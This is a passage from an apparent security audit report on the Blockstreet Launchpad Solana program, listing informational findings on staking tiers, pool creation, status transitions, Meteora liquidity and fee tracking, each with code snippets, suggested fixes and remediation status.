For `finalize_pool_with_liquidity` instruction:
1. **Update the success path** to include all required state fields:

- Set `ctx.accounts.pool.finalized = true` to indicate processing completion
- Set `ctx.accounts.pool.finalized_total_raised = ctx.accounts.pool.usd1_raised` to capture final raised amount
- Set `ctx.accounts.pool.finalized_success = true` to indicate success
- Calculate and set `ctx.accounts.pool.tokens_sold` using the same oversubscribed/undersubscribed logic as `finalize_pool_prorata`
- Keep the existing `ctx.accounts.pool.status = PoolStatus::Claiming` assignment

2. **Update the failure path** to include finalization state:

- Set `ctx.accounts.pool.finalized = true` to indicate processing completion
- Set `ctx.accounts.pool.finalized_total_raised = ctx.accounts.pool.usd1_raised` to capture final raised amount
- Set `ctx.accounts.pool.finalized_success = false` to indicate failure
- Set `ctx.accounts.pool.tokens_sold = 0` for failed pools
- Keep the existing `ctx.accounts.pool.status = PoolStatus::Cancelled` assignment

Remediation Comment

`SOLVED:` The `Blockstreet team` solved the issue by implementing the suggested changes.

Remediation Hash

99a5830f48e4a523b23d40e3270ecd0c1cd4c3bd

7.8 USD1 STAKING SYSTEM CONTAINS MULTIPLE DESIGN FLAWS AND MISSING FUNCTIONALITY THAT MUST BE REDESIGNED TO PREVENT USER FUND LOCK AND SYSTEM INCONSISTENCIES

// INFORMATIONAL

Description

The Blockstreet Launchpad program implements a USD1 staking system that allows users to stake USD1 tokens to earn staking tiers and associated benefits. The unstaking mechanism is designed to allow users to withdraw their staked tokens while maintaining proper tier management and security controls.

However, the current USD1 staking system contains multiple design flaws and missing functionality that compromise the system's functionality and user experience. The implementation exhibits several problematic behaviors:

- The `unstake_usd1` instruction incorrectly applies cool-on periods to tier downgrades
- It lacks proper cool-down period enforcement before withdrawal
- It operates without a corresponding `request_unstake_usd1` instruction
- The system lacks a mechanism to recalculate USD1 staking tiers when needed

Additionally, the `determine_staking_boost` function used during pool contributions incorrectly calculates the user's tier based on total staked amount instead of effective amount (staked_amount - unstake_amount), allowing users to maintain higher tiers even when their funds are in the unstaking cooldown period. This enables users to gain undeserved contribution benefits while their funds are not effectively staked.

programs/blockstreet-launchpad/src/instructions/user/unstake_usd1.rs

```
104 | if (new_tier as u8) < (staking_account.tier as u8) {
105 |     staking_account.tier = new_tier;
106 |     staking_account.tier_activated_at = clock.unix_timestamp + USD1_STAKING_COOL_ON_PERIOD;
107 | }
```

programs/blockstreet-launchpad/src/instructions/user/unstake_usd1.rs

```
65 | // Can only unstake if no pending unstake request or cool-off period passed
66 | // This check is never triggered since unstake_requested_at is never set by any instruction
67 | // Should require unstake_requested_at > 0 to ensure a request is in process
68 | if staking_account.unstake_requested_at > 0 {
69 |     require!(
70 |         staking_account.can_unstake(&clock),
71 |         LaunchpadError::CoolOffPeriodNotPassed
72 |     );
73 | }
```

The flawed USD1 unstaking logic creates several security and user experience issues:

- Users are unnecessarily penalized when their tier decreases, having to wait for cool-on periods to access benefits of even lower tiers that should be immediately available
- The protocol lacks proper withdrawal controls as users can unstake tokens immediately without any cool-down period, bypassing intended security measures
- The tier calculation during contributions uses total staked amount instead of effective amount, allowing users to maintain higher tiers even when their funds are in unstaking cooldown, potentially gaining undeserved contribution benefits

BVSS

AO:A/AC:L/AX:L/R:F/S:U/C:N/A:N/I:M/D:M/Y:N (1.6)

Recommendation

It is recommended to redesign the USD1 unstaking logic to address the identified design flaws:

1. **Fix tier downgrade logic**: Remove the cool-on period application for tier decreases. Users should have immediate access to benefits of lower tiers:
programs/blockstreet-launchpad/src/instructions/user/unstake_usd1.rs

```
// Update tier - only apply cool-on period for upgrades, not downgrades
if (new_tier as u8) < (staking_account.tier as u8) {
    staking_account.tier = new_tier;
    // No cool-on period for tier decreases - benefits should be immediate
} else if (new_tier as u8) > (staking_account.tier as u8) {
    staking_account.tier = new_tier;
    staking_account.tier_activated_at = clock.unix_timestamp + USD1_STAKING_COOL_ON_PERIOD;
}
```

2. **Implement proper unstaking workflow**: Create a `request_unstake_usd1` instruction to initiate the cool-down period, similar to the BLOCK token staking system.

3. **Enforce cool-down period**: Modify `unstake_usd1` to require a valid unstake request with completed cool-down period:
programs/blockstreet-launchpad/src/instructions/user/unstake_usd1.rs

```
// Require valid unstake request with completed cool-down period
require!(
    staking_account.unstake_requested_at > 0,
    LaunchpadError::NoUnstakeRequest
);
require!(
    staking_account.can_unstake(&clock),
    LaunchpadError::CoolOffPeriodNotPassed
);
```

4. **Ensure consistent workflow**: Implement the missing `request_unstake_usd1` instruction to properly set `unstake_requested_at` and initiate the withdrawal process.

5. **Add tier recalculation functionality**: Implement a `recalculate_usd1_staking_tier` instruction similar to the existing `recalculate_staking_tier` for BLOCK tokens to ensure tier consistency and enable future tier threshold updates.

6. **Fix tier calculation in contributions**: Modify the `determine_staking_boost` function to calculate the user's tier based on effective staked amount (staked_amount - unstake_amount) instead of total staked amount to prevent users from maintaining higher tiers while their funds are in cooldown.

Remediation Comment

`SOLVED:` The `Blockstreet team` solved the issue by implementing the suggested changes.

Remediation Hash

99a5830f48e4a523b23d40e3270ecd0c1cd4c3bd

7.9 POOL CREATION INSTRUCTIONS VALIDATE VAULT PDAS BUT FAIL TO CREATE REQUIRED VAULT ACCOUNTS

// INFORMATIONAL

Description

The Blockstreet Launchpad program lets projects submit proposals and, once approved, deploy token sale pools with the `create_pool_from_submission_with_fees` instruction. This is a core workflow: it links project approval with pool creation while collecting required fees.

However, the instruction is non-functional due to a design flaw. It validates the expected vault PDAs (`usd1_vault` and `token_vault`) but never actually creates these accounts:

```
173 // Create USD1 vault manually
174 let pool_id_bytes = launchpad.total_pools.to_le_bytes();
175 let usd1_vault_seeds = &[POOL_USD1_VAULT_SEED, pool_id_bytes.as_ref()];
176 let (usd1_vault_pda, usd1_vault_bump) =
177     Pubkey::find_program_address(usd1_vault_seeds, ctx.program_id);
178 require!(
179     ctx.accounts.usd1_vault.key() == usd1_vault_pda,
180     LaunchpadError::InvalidVaultOwner
181 );
182
183 // Create token vault manually
184 let token_vault_seeds = &[TOKEN_VAULT_SEED, pool_id_bytes.as_ref()];
185 let (token_vault_pda, token_vault_bump) =
186     Pubkey::find_program_address(token_vault_seeds, ctx.program_id);
187 require!(
188     ctx.accounts.token_vault.key() == token_vault_pda,
189     LaunchpadError::InvalidVaultOwner
190 );
```

On Solana, PDAs can only be created by the owning program during execution, not by external callers. Since the vaults are not initialized inside the instruction (e.g., with `init` constraints or a CPI to the Token Program), later token transfers fail with *"invalid account data for instruction"* errors:

```
353 // Transfer tokens to vault (remaining after fee)
354 anchor_spl::token::transfer(
355     CpiContext::new(
356         ctx.accounts.token_program.to_account_info(),
357         anchor_spl::token::Transfer {
358             from: ctx.accounts.project_token_account.to_account_info(),
359             to: ctx.accounts.token_vault.to_account_info(), // This account doesn't exist
360             authority: ctx.accounts.project_authority.to_account_info(),
361         },
362     ),
363     pool.tokens_offered,
364 )?;
```

As a result:

- Approved projects cannot deploy pools

- Fees cannot be collected
- Vaults remain uninitialized, breaking pool infrastructure
- The submission-to-deployment workflow is blocked

This undermines one of the platform's core promises: vetted projects complete the approval process but are unable to launch, damaging trust and revenue, and impacting fee-paying projects the most.

BVSS

AO:S/AC:L/AX:L/R:P/S:U/C:N/A:C/I:N/D:H/Y:C (1.4)

Recommendation

It is recommended to modify the instruction to create the required vault accounts before attempting to use them. This can be accomplished by adding vault creation logic similar to other pool creation instructions:

1. Add vault account creation using `init` constraints or CPI calls to the Token Program
2. Ensure the vault accounts are properly initialized as token accounts with the correct mint and owner
3. Store the vault addresses in the pool state for future reference by other instructions

programs/blockstreet-launchpad/src/instructions/admin/create_pool_from_submission_with_fees.rs

```
53  /// Pool's USD1 vault
54  #[account(
55      init,
56      payer = admin,
57      token::mint = usd1_mint,
58      token::authority = pool,
59      seeds = [POOL_USD1_VAULT_SEED, launchpad.total_pools.to_le_bytes().as_ref()],
60      bump
61  )]
62  pub usd1_vault: Account<'info, TokenAccount>,
63
64  /// Pool's token vault
65  #[account(
66      init,
67      payer = admin,
68      token::mint = token_mint,
69      token::authority = pool,
70      seeds = [TOKEN_VAULT_SEED, launchpad.total_pools.to_le_bytes().as_ref()],
71      bump
72  )]
73  pub token_vault: Account<'info, TokenAccount>,
```

Remediation Comment

`SOLVED:` The `Blockstreet team` solved the issue by implementing the suggested changes.

Remediation Hash

99a5830f48e4a523b23d40e3270ecd0c1cd4c3bd

7.10 LOGICAL CONTRADICTION PREVENTS POOL STATUS TRANSITION FROM PENDING TO ACTIVE

// INFORMATIONAL

Description

The Blockstreet Launchpad is a decentralized fundraising platform that manages token sales through a pool lifecycle system. Pools start in a `Pending` status and should automatically transition to `Active` when certain conditions are met, allowing users to contribute funds. The `auto_update_pool_status` instruction is designed to handle these automatic status transitions.

However, there is a logical contradiction in the `auto_update_pool_status` instruction that prevents pools from ever transitioning from `Pending` to `Active` status. The issue occurs in the condition used to validate whether a pending pool can become active, as shown in the code snippet below. The instruction calls `pool.can_accept_contributions(&clock)` to check if the pool is ready to accept contributions, but this function requires the pool to already be in `Active` status, creating an impossible condition since we are currently in the `Pending` branch.

programs/blockstreet-launchpad/src/instructions/admin/auto_update_pool_status.rs

```
30 match pool.status {
31     PoolStatus::Pending => {
32         // Auto-start if approved and start_time reached
33         if pool.can_accept_contributions(&clock) && clock.unix_timestamp >= pool.start_time {
34             pool.status = PoolStatus::Active;
35             // ...
36         }
37     }
38     // ...
39 }
```

The `can_accept_contributions` function checks if the pool status is `Active` through the `is_active` method, but we are currently in the `Pending` status branch, making this condition impossible to satisfy.

programs/blockstreet-launchpad/src/state/pool.rs

```
352 pub fn can_accept_contributions(&self, clock: &Clock) -> bool {
353     self.is_active(clock)
354         && self.kyc_verified
355         && self.admin_approved
356         && self.approval_status == ApprovalStatus::Approved
357 }
```

The `is_active` method explicitly requires the pool status to be `Active`:

programs/blockstreet-launchpad/src/state/pool.rs

```
203 pub fn is_active(&self, clock: &Clock) -> bool {
204     self.status == PoolStatus::Active
```

```
        && !self.is_paused
        && clock.unix_timestamp >= self.start_time
        && clock.unix_timestamp < self.end_time
        && !self.finalized
}
```

The `auto_update_pool_status` function will be unable to transition pools from `Pending` to `Active` status due to this logical contradiction. Pools that rely on this automatic transition mechanism will remain permanently stuck in `Pending` status, preventing them from accepting user contributions. This affects the automatic pool lifecycle management system, potentially requiring manual intervention or alternative mechanisms to activate pools. Projects expecting their pools to automatically become active at the designated start time will find their token sales non-functional until the issue is resolved.

BVSS

AO:A/AC:L/AX:L/R:F/S:U/C:N/A:M/I:N/D:N/Y:N (1.3)

Recommendation

It is recommended to replace the `can_accept_contributions` call with individual validation checks that don't require the pool to already be in `Active` status. The condition should directly verify the approval requirements without checking the current status.

programs/blockstreet-launchpad/src/instructions/admin/auto_update_pool_status.rs

```
match pool.status {
    PoolStatus::Pending => {
        // Auto-start if approved and start_time reached
        if pool.kyc_verified
            && pool.admin_approved
            && pool.approval_status == ApprovalStatus::Approved
            && !pool.is_paused
            && clock.unix_timestamp >= pool.start_time {
            pool.status = PoolStatus::Active;
            // ...
        }
    }
    // ...
}
```

Remediation Comment

`SOLVED:` The `Blockstreet team` solved the issue by implementing the suggested changes.

Remediation Hash

99a5830f48e4a523b23d40e3270ecd0c1cd4c3bd

7.11 STAKING SYSTEM CONTAINS MULTIPLE DESIGN FLAWS THAT CAN BE IMPROVED TO ENHANCE REWARD CALCULATION AND CODE CONSISTENCY

// INFORMATIONAL

Description

The Blockstreet Launchpad includes a comprehensive staking system that allows users to stake BLOCK tokens, earn rewards based on their tier, and participate in pool allocations with enhanced benefits. The staking process consists of three main operations: `stake_tokens` for adding tokens to the stake, `request_unstake` for initiating the unstaking process, and `complete_unstake` for withdrawing tokens after the cooldown period.

The staking system contains several design flaws that can be improved to enhance its security and consistency:

- **Reward calculation uses total staked amount instead of effective amount**: The reward calculation logic uses the total staked amount rather than the effective staked amount (total minus unstake amount), allowing users to earn rewards on tokens that are already committed to unstaking.
- **Duplicated reward calculation logic**: The reward calculation logic is duplicated across multiple instruction handlers instead of being centralized, increasing the risk of inconsistencies.
- **Incorrect timing of tier recalculation**: The tier recalculation is performed at the wrong time in the unstaking process, allowing users to retain higher tier benefits during the cooldown period.
- **Loss of rewards during cooldown period**: Rewards accrued during the unstaking cooldown period are not calculated when completing the unstake, resulting in loss of rewards for users.

These issues are evident in the code snippets shown below, where reward calculations consistently use `staked_amount` instead of effective stake, and the logic is repeated across multiple files without centralization.

programs/blockstreet-launchpad/src/instructions/user/stake_tokens.rs

```
75 | if time_elapsed > 0 && rewards_pool.reward_rate > 0 {
76 |     // Calculate rewards: staked_amount * reward_rate * time_elapsed
77 |     let rewards = (staking_account.staked_amount as u128) // ERROR: Uses total staked amount inst
78 |         .checked_mul(rewards_pool.reward_rate as u128)
79 |         .ok_or(LaunchpadError::MathOverflow)?
80 |         .checked_mul(time_elapsed as u128)
81 |         .ok_or(LaunchpadError::MathOverflow)?
82 |         .checked_div(1_000_000_000_000) // Normalize rate
83 |         .ok_or(LaunchpadError::DivisionByZero)?;
84 |     ...
85 | }
```

programs/blockstreet-launchpad/src/instructions/user/request_unstake.rs

```
58 | if time_elapsed > 0 && rewards_pool.reward_rate > 0 {
59 |     // Calculate rewards: staked_amount * reward_rate * time_elapsed
60 |     let rewards = (staking_account.staked_amount as u128) // ERROR: Uses total staked amount inst
61 |
```

```
            .checked_mul(rewards_pool.reward_rate as u128)
            .ok_or(LaunchpadError::MathOverflow)?
        ...
}
```

programs/blockstreet-launchpad/src/instructions/user/request_unstake.rs

```
// Set unstake request
staking_account.unstake_requested_at = clock.unix_timestamp;
staking_account.unstake_amount = amount;
staking_account.last_reward_calculation = clock.unix_timestamp;
staking_account.last_updated = clock.unix_timestamp;
// ERROR: Missing tier recalculation - should recalculate user's tier based on effective stake (s
```

programs/blockstreet-launchpad/src/instructions/user/claim_staking_rewards.rs

```
if time_elapsed > 0 && rewards_pool.reward_rate > 0 {
    let new_rewards = (staking_account.staked_amount as u128) // ERROR: Uses total staked amount
        .checked_mul(rewards_pool.reward_rate as u128)
        .ok_or(LaunchpadError::MathOverflow)?
        .checked_mul(time_elapsed as u128)
        .ok_or(LaunchpadError::MathOverflow)?
        .checked_div(1_000_000_000_000)
        .ok_or(LaunchpadError::DivisionByZero)?;
    ...
}
```

These design flaws in the staking system create several improvement opportunities:

- **Unearned rewards on unstaking tokens**: Users can continue earning rewards on tokens that are already committed to unstaking, effectively earning rewards on funds they no longer intend to keep staked long-term.
- **Code inconsistency risk from duplicated logic**: The duplicated reward calculation logic across multiple instruction handlers creates a high risk of introducing inconsistencies when the reward logic needs to be updated, potentially causing different instructions to calculate rewards differently.
- **Tier benefit manipulation during cooldown**: Users can retain higher tier benefits during the unstaking cooldown period by manipulating the timing of their unstake requests, allowing them to access pool allocations and benefits they should not be entitled to based on their actual long-term commitment.
- **Loss of cooldown period rewards**: Users lose all rewards accrued during the cooldown period when completing their unstake, which contradicts the design principle of rewarding users while their tokens remain locked in the protocol.

These issues collectively undermine the fairness and security of the staking mechanism, potentially leading to economic losses for honest users and exploitation by malicious actors.

BVSS

AO:S/AC:L/AX:M/R:N/S:U/C:N/A:N/I:M/D:M/Y:M (1.0)

Recommendation

It is recommended to implement the following changes to address the staking system design flaws:

1. **Centralize Reward Calculation Logic**: Create a single, reusable function within the `StakingTierAccount` state to handle all reward calculations. This function should be used by all instructions that need to calculate rewards (`stake_tokens` , `request_unstake` , and `claim_staking_rewards`).
2. **Use Effective Staked Amount for Rewards:** Modify the reward calculation to use the effective staked amount (`staked_amount - unstake_amount`) instead of the total staked amount. This ensures rewards are only generated on tokens that are fully committed to the protocol.

programs/blockstreet-launchpad/src/state/staking_tier_account.rs

```
impl StakingTierAccount {
    pub fn calculate_pending_rewards(&mut self, rewards_pool: &StakingRewardsPool, current_time:
        if self.last_reward_calculation > 0 {
            let time_elapsed = current_time
                .checked_sub(self.last_reward_calculation)
                .ok_or(LaunchpadError::MathOverflow)?;

            if time_elapsed > 0 && rewards_pool.reward_rate > 0 {
                // Use effective staked amount (total - unstaking)
                let effective_stake = self.staked_amount
                    .checked_sub(self.unstake_amount)
                    .ok_or(LaunchpadError::MathOverflow)?;

                let rewards = (effective_stake as u128)
                    .checked_mul(rewards_pool.reward_rate as u128)
                    .ok_or(LaunchpadError::MathOverflow)?
                    .checked_mul(time_elapsed as u128)
                    .ok_or(LaunchpadError::MathOverflow)?
                    .checked_div(1_000_000_000_000)
                    .ok_or(LaunchpadError::DivisionByZero)?;
                ...
            }
        }

        self.last_reward_calculation = current_time;
        Ok(())
    }
}
```

Remediation Comment

`SOLVED:` The `Blockstreet team` solved the issue by implementing the suggested changes.

Remediation Hash

99a5830f48e4a523b23d40e3270ecd0c1cd4c3bd

7.12 METEORA LIQUIDITY INSTRUCTION IS NON-FUNCTIONAL AND LACKS MULTIPLE CALL PROTECTION

// INFORMATIONAL

Description

The Blockstreet Launchpad program includes a `create_meteora_liquidity` instruction designed to automatically create a liquidity pool on the Meteora DLMM exchange after a successful token sale. This process requires providing two different assets: the project's native token and USD1.

The current implementation of this instruction is non-functional and insecure due to a combination of three flaws:

1. **Logical Flaw in Token Transfers:** The instruction attempts to transfer both the `liquidity_usd1_amount` and the `liquidity_token_amount` into the same destination token account, `meteora_pool`.
2. **Missing Meteora CPI:** The instruction only simulates the process by transferring tokens to a placeholder account. It never actually performs the required Cross-Program Invocation (CPI) to the Meteora program to create the liquidity pool.
3. **No Multiple Call Guard:** While the instruction sets `pool.liquidity_locked = true` at the end, it fails to check the value of this flag at the beginning. This allows the instruction to be called multiple times for the same pool.

programs/blockstreet-launchpad/src/instructions/admin/create_meteora_liquidity.rs

```
111     // Transfer USD1 for liquidity (simulated)
112     token::transfer(
113         CpiContext::new_with_signer(
114             ctx.accounts.token_program.to_account_info(),
115             Transfer {
116                 from: ctx.accounts.pool_usd1_vault.to_account_info(),
117                 to: ctx.accounts.meteora_pool.to_account_info(), // In real implementation, this
118                 authority: ctx.accounts.pool.to_account_info(),
119             },
120             signer_seeds,
121         ),
122         liquidity_usd1_amount,
123     )?;
124 
125     // Transfer tokens for liquidity (simulated)
126     token::transfer(
127         CpiContext::new_with_signer(
128             ctx.accounts.token_program.to_account_info(),
129             Transfer {
130                 from: ctx.accounts.pool_token_vault.to_account_info(),
131                 to: ctx.accounts.meteora_pool.to_account_info(), // In real implementation, this
132                 authority: ctx.accounts.pool.to_account_info(),
133             },
134             signer_seeds,
135         ),
136         liquidity_token_amount,
137     )?;
```

These combined flaws render the automated Meteora liquidity creation feature completely non-functional. The logical error prevents the instruction from ever succeeding. Furthermore, if the logic were corrected but the check for `pool.liquidity_locked` was still missing, an admin could repeatedly call the function. This would lead to unintended and repeated transfers of funds from the pool vaults, breaking a key value proposition of the launchpad.

BVSS

AO:S/AC:L/AX:L/R:F/S:U/C:N/A:C/I:N/D:N/Y:N (0.5)

Recommendation

It is recommended to rewrite the instruction with the following changes:
1. **Add Multiple Call Guard:** Implement a `require!(!ctx.accounts.pool.liquidity_locked, ...)` check at the beginning of the instruction to prevent it from being called more than once.
2. **Correct Token Handling:** The instruction should accept two separate, mutable token accounts for the Meteora liquidity pool: `meteora_usd1_vault` and `meteora_token_vault`.
3. **Implement Meteora CPI:** Replace the simulated token transfers with a proper CPI call to the Meteora DLMM program's `add_liquidity` or equivalent instruction, passing the correct accounts and liquidity amounts.

Remediation Comment

`ACKNOWLEDGED:` The `Blockstreet team` acknowledged the finding.

Remediation Hash

a58655f9bf00bcf4f339086f51c88f6e609b6419

7.13 MISSING ADMIN APPROVAL FLAG ASSIGNMENT CREATES INCONSISTENT POOL STATE

// INFORMATIONAL

Description

The Blockstreet Launchpad is a Solana program that manages token launches through a submission and approval workflow. Project owners submit their token offerings for review, and once approved by administrators, pools can be created from these submissions to facilitate fundraising.

The `create_pool_from_submission` instruction contains a bug in its pool initialization logic within the `create_pool_from_submission_optimized` helper function. While the instruction correctly sets the `approval_status` field to `ApprovalStatus::Approved` and assigns an `approval_timestamp`, it fails to set the corresponding `admin_approved` boolean flag to `true`.

This creates an inconsistent state where pools created from approved submissions have the correct approval status enum but an incorrect boolean flag, as shown in the code snippet below.

programs/blockstreet-launchpad/src/instructions/admin/create_pool_from_submission.rs

```
163 | pool.approval_status = ApprovalStatus::Approved;
164 | pool.approval_timestamp = clock.unix_timestamp;
165 | pool.rejection_reason = None;
166 | pool.bump = pool_bump;
167 | // admin_approved field is not set to true
```

This inconsistency prevents pools created from approved submissions from being activated through the `activate_approved_pool` instruction, which requires both `approval_status == ApprovalStatus::Approved` and `admin_approved == true`. Since the `admin_approved` flag remains `false`, these pools cannot transition from Pending to Active status, effectively blocking their functionality despite being created from pre-approved submissions.

This creates an operational failure where legitimate pools remain permanently stuck in Pending status.

programs/blockstreet-launchpad/src/instructions/admin/activate_approved_pool.rs

```
38 | // Only activate if properly approved
39 | require!(
40 |     pool.approval_status == ApprovalStatus::Approved,
41 |     LaunchpadError::ProjectNotApproved
42 | );
43 |
44 | // Only activate if admin approved
45 | require!(pool.admin_approved, LaunchpadError::ProjectNotApproved);
```

An alternative approach to fix the `admin_approved` flag would be to call the `approve_project` instruction after pool creation, but this would fail due to validation logic that prevents re-approving already approved projects:

programs/blockstreet-launchpad/src/instructions/admin/approve_project.rs

```
match pool.approval_status {
    ApprovalStatus::Approved if params.approved => {
        return Err(LaunchpadError::ProjectAlreadyApproved.into());
    }
    ApprovalStatus::Rejected if !params.approved => {
        return Err(LaunchpadError::ProjectAlreadyRejected.into());
    }
    _ => {}
}
```

BVSS

AO:S/AC:L/AX:M/R:P/S:U/C:N/A:H/I:N/D:N/Y:N (0.5)

Recommendation

It is recommended to add the missing `admin_approved = true` assignment in the `create_pool_from_submission` function to ensure consistency between the approval status enum and the boolean flag.

programs/blockstreet-launchpad/src/instructions/admin/create_pool_from_submission.rs

```
pool.approval_status = ApprovalStatus::Approved;
pool.approval_timestamp = clock.unix_timestamp;
pool.rejection_reason = None;
pool.admin_approved = true;  // Add this line
pool.bump = pool_bump;
```

Remediation Comment

`SOLVED:` The `Blockstreet team` solved the issue by implementing the suggested changes.

Remediation Hash

99a5830f48e4a523b23d40e3270ecd0c1cd4c3bd

7.14 POOL MIGRATION LOGIC CONTAINS MULTIPLE VALIDATION GAPS AND DESIGN INCONSISTENCIES THAT COMPROMISE POOL STATE INTEGRITY

// INFORMATIONAL

Description

The Blockstreet Launchpad program is a platform that enables project owners to create token launch pools where users can contribute funds to support new token projects. The platform includes administrative functions to manage pool lifecycles, including the ability to migrate pools when timing adjustments are needed.

The `migrate_pool` instruction contains several design flaws and missing validations that compromise the integrity of pool state management, as shown in the code snippet below. The specific issues identified are:

- **Missing claim time validation**: The instruction fails to validate that the new end time doesn't exceed the existing claim time, allowing administrators to create invalid pool states where the sale ends after tokens can be claimed.
- **Inability to update claim times**: The `PoolMigrationParams` struct lacks a `new_claim_time` field, preventing administrators from updating claim times during migration and leading to potential inconsistencies when extending pool duration.
- **Inappropriate start time modifications for active pools**: The instruction allows modifying the start time of active pools, which is conceptually incorrect since the sale has already begun, potentially creating inconsistent pool states.
- **Non-optional migration parameters**: All migration parameters are required, forcing complete updates even for partial changes, which reduces operational flexibility and is inconsistent with other update instructions in the protocol.
- **Missing start time vs claim time validation**: The instruction fails to validate that the new start time doesn't exceed the existing claim time, allowing administrators to create pools where the claim period begins before the sale starts, which is logically inconsistent.

These issues collectively reduce operational flexibility and can lead to inconsistent pool states that violate the expected pool lifecycle logic.

programs/blockstreet-launchpad/src/instructions/admin/migrate_pool.rs

```
94  fn validate_migration_inputs(
95      pool: &Pool,
96      launchpad: &Launchpad,
97      authority: &Signer,
98      migration_params: &PoolMigrationParams,
99      clock: &Clock,
100 ) -> Result<()> {
101     require!(
102         authority.key() == launchpad.authority,
103         LaunchpadError::Unauthorized
104     );
105     require!(
106         pool.status == PoolStatus::Pending || pool.status == PoolStatus::Active,
107
```

```
            LaunchpadError::PoolNotActive
        );
        require!(
            migration_params.new_start_time > clock.unix_timestamp,
            LaunchpadError::InvalidTiming
        );
        migration_params.validate()?;
        Ok(())
    }
```

These validation gaps and design inconsistencies can lead to several problematic scenarios:

- **Invalid pool timing states**: Administrators could inadvertently create pools where the sale period extends beyond the claim period, making it impossible for users to claim their tokens after purchase.
- **Inconsistent timing schedules**: The inability to update claim times during migrations can result in pools with inconsistent timing schedules that confuse users and potentially lock funds.
- **Logical contradictions in active pools**: Allowing start time modifications for already-active pools creates logical contradictions since the sale has already begun, potentially disrupting user expectations and pool mechanics.
- **Reduced operational flexibility**: The requirement for complete parameter updates reduces administrative flexibility and makes routine pool maintenance more cumbersome, potentially leading to errors during rushed operational changes.

BVSS

AO:S/AC:L/AX:L/R:F/S:U/C:N/A:M/I:N/D:N/Y:N (0.3)

Recommendation

It is recommended to implement the following changes:

1. Add comprehensive validation to ensure new end times don't exceed existing claim times and prevent creation of invalid pool states.

2. Enhance the `PoolMigrationParams` struct to include optional parameters for flexible partial updates:
programs/blockstreet-launchpad/src/instructions/admin/migrate_pool.rs

```
#[derive(AnchorSerialize, AnchorDeserialize, Clone)]
pub struct PoolMigrationParams {
    pub new_start_time: Option<i64>,
    pub new_end_time: Option<i64>,
    pub new_claim_time: Option<i64>,
    pub reason: String,
}
```

3. Implement logic to restrict start time modifications for active pools while maintaining flexibility for pending pools:

programs/blockstreet-launchpad/src/instructions/admin/migrate_pool.rs

```
// Restrict start_time updates for Active pools
if pool.status == PoolStatus::Active {
    require!(
        migration_params.new_start_time.is_none() ||
        migration_params.new_start_time.unwrap() == pool.start_time,
        LaunchpadError::InvalidOperation
    );
}
```

4. Update the validation logic to handle optional parameters and ensure comprehensive timing validation:

programs/blockstreet-launchpad/src/instructions/admin/migrate_pool.rs

```
impl PoolMigrationParams {
    pub fn validate(&self, pool: &Pool, clock: &Clock) -> Result<()> {
        require!(!self.reason.trim().is_empty(), LaunchpadError::InvalidInput);
        require!(self.reason.len() <= 512, LaunchpadError::NameTooLong);

        let start_time = self.new_start_time.unwrap_or(pool.start_time);
        let end_time = self.new_end_time.unwrap_or(pool.end_time);
        let claim_time = self.new_claim_time.unwrap_or(pool.claim_time);

        require!(start_time < end_time, LaunchpadError::InvalidTiming);
        require!(end_time <= claim_time, LaunchpadError::InvalidTiming);
        require!(start_time > clock.unix_timestamp, LaunchpadError::InvalidTiming);

        Ok(())
    }
}
```

Remediation Comment

`SOLVED:` The `Blockstreet team` solved the issue by implementing the suggested changes.

Remediation Hash

99a5830f48e4a523b23d40e3270ecd0c1cd4c3bd

7.15 MISSING FEE PAYMENT TRACKING PREVENTS VALIDATION OF POOL CREATION REQUIREMENTS

// INFORMATIONAL

Description

The Blockstreet Launchpad program offers two pool creation mechanisms: `create_pool` (fee-free) and `create_pool_with_fees` (requires upfront fee payment). The platform needs to distinguish between these two types of pools to enforce different business rules and access controls.

The `create_pool_with_fees` instruction successfully collects fees from project authorities and transfers them to treasury accounts. However, after collecting these fees, the instruction fails to record this payment status in the pool's state, as shown in the code snippet below. There is no flag or field in the `Pool` struct to indicate whether fees have been paid during creation.

programs/blockstreet-launchpad/src/instructions/admin/create_pool_with_fees.rs

```
282 | // Initialize pool state
283 | pool.pool_id = launchpad.total_pools;
284 | pool.project_authority = ctx.accounts.project_authority.key();
285 | pool.token_mint = ctx.accounts.token_mint.key();
286 | pool.usd1_mint = ctx.accounts.usd1_mint.key();
287 | pool.tokens_offered = params.tokens_offered;
288 | ...
289 | // pool.fees_paid = true; // This field does not exist
```

Without fee payment tracking, the platform cannot enforce different treatment for pools that have paid fees versus those that have not. Furthermore, launchpad authorities who are responsible for approving projects have no on-chain mechanism to verify whether a pool has paid the required fees before granting approval. This undermines the business model distinction between free and paid pool creation paths, as there is no programmatic way to verify fee payment status during the approval process.

The lack of fee payment status tracking can lead to inconsistent user experiences, where pools created through different paths cannot be distinguished by subsequent instructions or off-chain systems. This may result in paid features being accessible to pools that did not pay fees, or conversely, pools that paid fees not receiving their expected preferential treatment.

BVSS

AO:S/AC:L/AX:L/R:F/S:U/C:N/A:N/I:N/D:L/Y:N (0.1)

Recommendation

It is recommended to implement the following changes:

1. Add a `fees_paid` boolean field to the `Pool` struct to track fee payment status.

2. Set `pool.fees_paid = true` in the `create_pool_with_fees` instruction after successful fee collection.
3. Set `pool.fees_paid = true` in the `create_pool_from_submission_with_fees` instruction after successful fee collection.
4. Update `approve_project` instruction to verify that `pool.fees_paid == true` before allowing approval, ensuring only pools that have paid fees can be approved.
5. Update other instructions that need to enforce fee-based business rules to check this flag.

Remediation Comment

`SOLVED:` The `Blockstreet team` solved the issue by implementing the necessary changes.

Remediation Hash

a58655f9bf00bcf4f339086f51c88f6e609b6419

7.16 VARIABLE TOKEN MINTS ON INITIALIZATION ALLOW PLATFORM-WIDE COMPROMISE

// INFORMATIONAL

Description

The Blockstreet Launchpad program is designed to manage token sales and staking functionalities. An important part of its setup is the `init_launchpad` instruction, which establishes the core configuration of the platform, including the official token mints for `USD1` and `BLOCK`.

Currently, the instruction accepts the `usd1_mint` and `block_token_mint` as variable accounts provided by the caller. The only validation performed is checking that the `usd1_mint` has the correct number of decimals (6), but the addresses of both `usd1_mint` and `block_token_mint` are not validated against any predetermined canonical values, as shown in the snippet below:

programs/blockstreet-launchpad/src/instructions/admin/init_launchpad.rs

```
28  #[derive(Accounts)]
29  #[instruction(
30      platform_fee_bps: u16,
31      tier_thresholds: [u64; 5],
32      tier_multipliers: [u16; 6]
33  )]
34  pub struct InitLaunchpad<'info> {
35      #[account(
36          init,
37          payer = authority,
38          space = Launchpad::LEN,
39          seeds = [LAUNCHPAD_SEED],
40          bump
41      )]
42      pub launchpad: Account<'info, Launchpad>,
43
44      #[account(mut)]
45      pub authority: Signer<'info>,
46
47      pub treasury: SystemAccount<'info>,
48
